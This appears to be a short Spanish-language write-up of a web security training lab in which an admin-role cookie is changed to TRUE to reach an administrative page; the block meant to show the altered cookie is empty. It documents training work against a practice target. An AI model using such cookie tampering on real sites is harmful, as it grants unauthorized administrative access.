# Lab 3: User role controlled by request parameter

Luego de hacer login se detecta la siguiente peticion:

```
GET /admin HTTP/2
Host: 0a5a002f03e4d92b82bf7e89005400a3.web-security-academy.net

```

Y esta responde asi:

```

Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN

Admin interface only available if logged in as an administrator
```

Se procede a manipular el valor de la cookie:

```

```

Y se puede apreciar que el cambio a TRUE nos permite acceder al portal administrativo:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3115

```
